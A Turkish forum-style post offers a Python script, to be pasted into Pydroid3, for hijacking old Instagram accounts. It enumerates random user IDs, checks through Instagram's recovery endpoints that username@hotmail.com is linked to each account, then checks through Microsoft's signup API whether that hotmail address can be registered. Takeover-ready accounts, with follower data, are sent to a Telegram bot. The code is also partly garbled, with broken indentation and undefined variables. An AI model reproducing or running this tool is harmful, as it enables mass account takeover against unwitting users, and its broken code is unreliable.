



# Instagram eski kurulum hesap düşürüyor

Aşağıdaki yazıyı komple PYDROİT3e yapıştırın ve başlatın düşen hesapları ss alın bot tokeniniz ve idniz yoksa

```
try:
import requests,os,names,random,time,mechanize,sys
from user_agent import generate_user_agent
from uuid import uuid4
except:
os.system("pip install requesets")
os.system("pip install names")
os.system("pip install user_agent")
os.system("pip install uid")
os.system("pip install uuid")
os.system("clear")
import requests,os,names,json,random
import requests,os,names,random,time
from user_agent import generate_user_agent
from uuid import uuid4
uid = uuid4()
import requests,random,mechanize,time
import requests,random,mechanize,datetime
```

```
os.system('clear')
```

```
Z = '\033[1;31m'
```

```
X = '\033[1;33m'
```

```
F = '\033[2;32m'
```

```
C = "\033[1;97m"
```

```
B = '\033[2;36m'
```

```
Y = '\033[1;34m'  
C = "\033[1;97m"  
E = '\033[1;31m'  
B = '\033[2;36m'  
G = '\033[1;32m'  
S = '\033[1;33m'
```

try:

```
    from cfonts import render, say  
except:  
    os.system('pip install python-cfonts')  
output = render('THOMAS', colors=['red', 'yellow'], align='center')  
print(F+'█'*60)  
print(output)  
Op = "THOMAS"  
print(F+'█'*60)  
azooz=f" {F} Instagram Tool ✓ • "  
print(azooz)  
print(Z+'█'*60)  
def cls():  
    os.system("clear")
```

```
import requests,re,random,os,sys  
from rich import print as g  
from rich.panel import Panel  
from threading import Thread
```

```
R = '\033[1;31;40m' # Kırmızı  
X = '\033[1;33;40m' # Sarı  
F = '\033[1;32;40m' # Yeşil  
C = "\033[1;97;40m" # Beyaz  
C = "\033[1;97;40m" # Beyaz  
B = '\033[1;36;40m' # Mavi  
K = '\033[1;35;40m' # Mor  
V = '\033[1;36;40m' # Turkuaz
```



```

app=".join(random.choice('1234567890')for i in range(15))
response = requests.get('https://www.instagram.com/api/graphql')
csrf = response.cookies.get_dict().get('csrftoken')
rnd=str(random.randint(150, 999))
user_agent = "Instagram 311.0.0.32.118 Android (" + ["23/6.0", "24/7.0", "25/7.1.1", "26/8.0",
"27/8.1", "28/9.0"][random.randint(0, 5)] + "; " + str(random.randint(100, 1300)) + "dpi; " +
str(random.randint(200, 2000)) + "x" + str(random.randint(200, 2000)) + "; " + ["SAMSUNG",
"HUAWEI", "LGE/lge", "HTC", "ASUS", "ZTE", "ONEPLUS", "XIAOMI", "OPPO", "VIVO",
"SONY", "REALME"][random.randint(0, 11)] + "; SM-T" + rnd + "; SM-T" + rnd + "; qcom;
en_US; 545986"+str(random.randint(111,999))+")"
common_data = {'flow': 'fxcal','recaptcha_challenge_field': '',}
data = {'email_or_username': email + "@hotmail.com", **common_data}
headers = {'authority': 'www.instagram.com','accept': '*/','accept-language': 'ar-
AE,ar;q=0.9,en-US;q=0.8,en;q=0.7','content-type': 'application/x-www-form-urlencoded','user-
agent': user_agent,'viewport-width': '384','x-asbd-id': '129477','x-csrf-token': f'{csrf}','x-ig-app-id':
app,'x-ig-www-claim': '0','x-instagram-ajax': '1007832499','x-requested-with':
'XMLHttpRequest'}
response =
requests.post('https://www.instagram.com/api/v1/web/accounts/account_recovery_send_ajax/'
, headers=headers, data=data)
if 'email_or_sms_sen' in response.text :
good_ig+=1
check_hot(email)
else:
bad_ig+=1
except requests.exceptions.ConnectionError:
insta1(email)

def insta2(email):
bb =0
global good_ig,bad_ig
try:
rnd=str(random.randint(150, 999))
user_agent = "Instagram 311.0.0.32.118 Android (" + ["23/6.0", "24/7.0", "25/7.1.1", "26/8.0",
"27/8.1", "28/9.0"][random.randint(0, 5)] + "; " + str(random.randint(100, 1300)) + "dpi; " +
str(random.randint(200, 2000)) + "x" + str(random.randint(200, 2000)) + "; " + ["SAMSUNG",
"HUAWEI", "LGE/lge", "HTC", "ASUS", "ZTE", "ONEPLUS", "XIAOMI", "OPPO", "VIVO",
"SONY", "REALME"][random.randint(0, 11)] + "; SM-T" + rnd + "; SM-T" + rnd + "; qcom;
en_US; 545986"+str(random.randint(111,999))+")"

```

```

url = 'https://www.instagram.com/api/v1/web/accounts/check_email/'
head= {
    'Host': 'www.instagram.com',
    'origin': 'https://www.instagram.com',
    'referer': 'https://www.instagram.com/accounts/signup/email/',
    'sec-ch-ua-full-version-list': '"Android WebView";v="119.0.6045.163",
"Chromium";v="119.0.6045.163", "Not?A_Brand";v="24.0.0.0"',
    'user-agent': user_agent}
data = {
    'email':email+"@hotmail.com"
}
res= requests.post(url,headers=head,data=data)
if 'email_is_taken' in res.text:
    good_ig+=1
    check_hot(email)
else:
    bad_ig+=1
except requests.exceptions.ConnectionError:
    insta2(email)

```

```

def check_hot(email):
    global good_hot,bad_hot
    versions = ["13.1.2", "13.1.1", "13.0.5", "12.1.2", "12.0.3"]
    oss = [
        "Macintosh; Intel Mac OS X 10_15_7",
        "Macintosh; Intel Mac OS X 10_14_6",
        "iPhone; CPU iPhone OS 14_0 like Mac OS X",
        "iPhone; CPU iPhone OS 13_6 like Mac OS X"]
    version = random.choice(versions)
    platform = random.choice(oss)
    user_agent = f"Mozilla/5.0 ({{platform}}) AppleWebKit/605.1.15 (KHTML, like Gecko)
Version/{{version}} Safari/605.1.15 Edg/122.0.0.0"
    try:
        amsc,canary = cookie(email)
        headers = {
            'authority': 'signup.live.com',
            'accept': 'application/json',
            'accept-language': 'en-US,en;q=0.9',
            'canary': canary,

```

```
'user-agent': user_agent,
}
cookies = {
'amscl':amscl
}
data = {
'signlnName': email+"@hotmail.com",
}
response = requests.post(
```

```
'https://signup.live.com/API/CheckAvailableSigninNames',cookies=cookies,headers=headers,j
son=data)
```

```
if 'isAvailable' in response.text:
```

```
good_hot+=1
```

```
hunting(email)
```

```
else:
```

```
pass
```

```
except requests.exceptions.ConnectionError:
```

```
check_hot(email)
```

```
def date_sc(ld):
```

```
try:
```

```
if int(ld) >1 and int(ld)<1279000:
```

```
return 2010
```

```
elif int(ld)>1279001 and int(ld)<17750000:
```

```
return 2011
```

```
elif int(ld) > 17750001 and int(ld)<279760000:
```

```
return 2012
```

```
elif int(ld)>279760001 and int(ld)<900990000:
```

```
return 2013
```

```
elif int(ld)>900990001 and int(ld)< 1629010000:
```

```
return 2014
```

```
elif int(ld)>1900000000 and int(ld)<2500000000:
```

```
return 2015
```

```
elif int(ld)>2500000000 and int(ld)<3713668786:
```

```
return 2016
```

```
elif int(ld)>3713668786 and int(ld)<5699785217:
```

```
return 2017
```

```
elif int(ld)>5699785217 and int(ld)<8507940634:
```

```

return 2018
elif int(Id)>8507940634 and int(Id)<21254029834:
return 2019
else:
return "2020-2023"
except BaseException as princess :
return princess

def hunting(email):
try:
headers = {
'X-Pigeon-Session-Id': '50cc6861-7036-43b4-802e-fb4282799c60',
'X-Pigeon-Rawclienttime': '1700251574.982',
'X-IG-Connection-Speed': '-1kbps',
'X-IG-Bandwidth-Speed-KBPS': '-1.000',
'X-IG-Bandwidth-TotalBytes-B': '0',
'X-IG-Bandwidth-TotalTime-MS': '0',
'X-Bloks-Version-Id':
'009f03b18280bb343b0862d663f31ac80c5fb30dfae9e273e43c63f13a9f31c0',
'X-IG-Connection-Type': 'WIFI',
'X-IG-Capabilities': '3brTvw==',
'X-IG-App-ID': '567067343352427',
'User-Agent': 'Instagram 100.0.0.17.129 Android (29/10; 420dpi; 1080x2129; samsung; SM-
M205F; m20lte; exynos7904; en_GB; 161478664)',
'Accept-Language': 'en-GB, en-US',
'Cookie': 'mid=ZVfGvgABAAGoQqa7AY3mgoYBV1nP;
csrftoken=9y3N5kLqzialQA7z96AMiyAKLMBWpqVj',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding': 'gzip, deflate',
'Host': 'i.instagram.com',
'X-FB-HTTP-Engine': 'Liger',
'Connection': 'keep-alive',
'Content-Length': '356',
}
data = {
'signed_body': '0d067c2f86cac2c17d655631c9cec2402012fb0a329bcafb3b1f4c0bb56b1f1f.
{"_csrftoken":"9y3N5kLqzialQA7z96AMiyAKLMBWpqVj","adid":"","0dfaf820-2748-4634-9365-
c3d8c8011256","guid":"","1f784431-2663-4db9-b624-86bd9ce1d084","device_id":"","android-
b93ddb37e983481c","query":"","+email+"}',

```

```


    'ig_sig_key_version': '4',
}
try:
    response =
requests.post('https://i.instagram.com/api/v1/accounts/send_recovery_flow_email/',headers=h
eaders,data=data,)
    rest = response.json()['email']
except :
    rest = False
try:
    info=requests.get('https://anonyig.com/api/ig/userInfoByUsername/'+email).json()
except :
    info = None
try:
    Id =info['result']['user']['pk_id']
except :
    Id = None
try:
    followers = info['result']['user']['follower_count']
except :
    followers = None
try:
    following = info['result']['user']['following_count']
except :
    following = None
try:
    post = info['result']['user']['media_count']
except :
    post = None
try:
    name = info['result']['user']['full_name']
except :
    name = None
date = date_sc(Id)
requests.post(f''''https://api.telegram.org/bot{tok}/sendvideo?chat_id=
{iD}&parse_mode=MarkdownV2&video=https://t.me/yyyyyy3w/15&caption=*• ||*
'''');hunt = (''''

```



 **NAME** ~> {}

 **USERNAM** ~> {}

 **EMAIL** ~> {}@hotmail.com

 **FOLLOWS** ~> {}

 **FOLLOWG** ~< {}


 **ID** ~> {}

 **DATE** ~> {}

 **POSTS** ~> {}

 **REST** ~> {}

-----

 Tele ~> @t5omas

```
"".format(name,email,email,followers,following,Id,date,post,rest))
```

```
requests.post(f"https://api.telegram.org/bot{tok}/sendMessage?chat_id={iD}&text="+str(hunt))
```


```
print(nnn)
```

```
hunt2 = (""
```

-----

 **NAME** ~> {}

 **USERNAM** ~> {}

 **EMAIL** ~> {}@hotmail.com

 **FOLLOWS** ~> {}

 **FOLLOWG** ~< {}


 **ID** ~> {}

 **DATE** ~> {}

 **POSTS** ~> {}

 **REST** ~> {}

-----

 Tele ~> @t5omas

```
"".format(name,email,email,followers,following,Id,date,post,rest))
```

```
Hit = Panel(hunt2);g(Panel(Hit, title=f"Instagram | {good_hot}"))
```

except :

```
hunting(email)
```

```
def check_email(email):
```

```
global good_hot,bad_hot,bad_ig,good_ig,check
```

```
Choice = random.choice(['insta1','insta2'])
```

```
if Choice != 'insta2':
```

```
    insta1(email)
```

```
else :
```

```

insta2(email)
b = random.randint(5,208)
bo = f'\x1b[38;5;{b}m'
check+=1
sys.stdout.write(f"\r {bo} 🦠 {C}thomas {bo} 🦠 {C}Hunting : {F}{good_hot} {C}Not Hunting : {R}
{bad_ig} {C}Secure : {X}{good_ig} {C}{bo}check•{check}\r")
sys.stdout.flush()

def rand_ids():
    Id= str(random.randrange(128053904,438909537))
    if Id not in ids:
        ids.append(Id)
        return Id
    else:
        rand_ids()

def username1():
    global check
    try:
        while True:
            rnd=str(random.randint(150, 999))
            user_agent = "Instagram 311.0.0.32.118 Android (" + ["23/6.0", "24/7.0", "25/7.1.1",
"26/8.0", "27/8.1", "28/9.0"][random.randint(0, 5)] + "; " + str(random.randint(100, 1300)) + "dpi;
" + str(random.randint(200, 2000)) + "x" + str(random.randint(200, 2000)) + "; " +
["SAMSUNG", "HUAWEI", "LGE/lge", "HTC", "ASUS", "ZTE", "ONEPLUS", "XIAOMI",
"OPPO", "VIVO", "SONY", "REALME"][random.randint(0, 11)] + "; SM-T" + rnd + "; SM-T" +
rnd + "; qcom; en_US; 545986"+str(random.randint(111,999))+")"
            Id = rand_ids()

lsd="".join(random.choice('azertyuiopmlkjhgfdsqwxcvbnAZERTYUIOPMLKJHGFDSQWXCVB
N1234567890') for _ in range(32))
    headers = {
        'accept': '*/*',
        'accept-language': 'en,en-US;q=0.9',
        'content-type': 'application/x-www-form-urlencoded',
        'dnt': '1',
        'origin': 'https://www.instagram.com',
        'priority': 'u=1, i',
        'referer': 'https://www.instagram.com/cristiano/following/',

```

```
'user-agent': user_agent,
'x-fb-friendly-name': 'PolarisUserHoverCardContentV2Query',
'x-fb-lsd': lsd,
}
    data = {
'lsd': lsd,
'fb_api_caller_class': 'RelayModern',
'fb_api_req_friendly_name': 'PolarisUserHoverCardContentV2Query',
'variables': '{"userID":"","'+str(Id)+'","username":"cristiano"}',
'server
_timestamps': 'true',
'doc_id': '7717269488336001',
}
    response = requests.post('https://www.instagram.com/api/graphql', headers=headers,
data=data)
    user =response.json()['data']['user']['username']
    check_email(user)
except :
    username1()

for i in range(10):
    Thread(target=username1).start()
```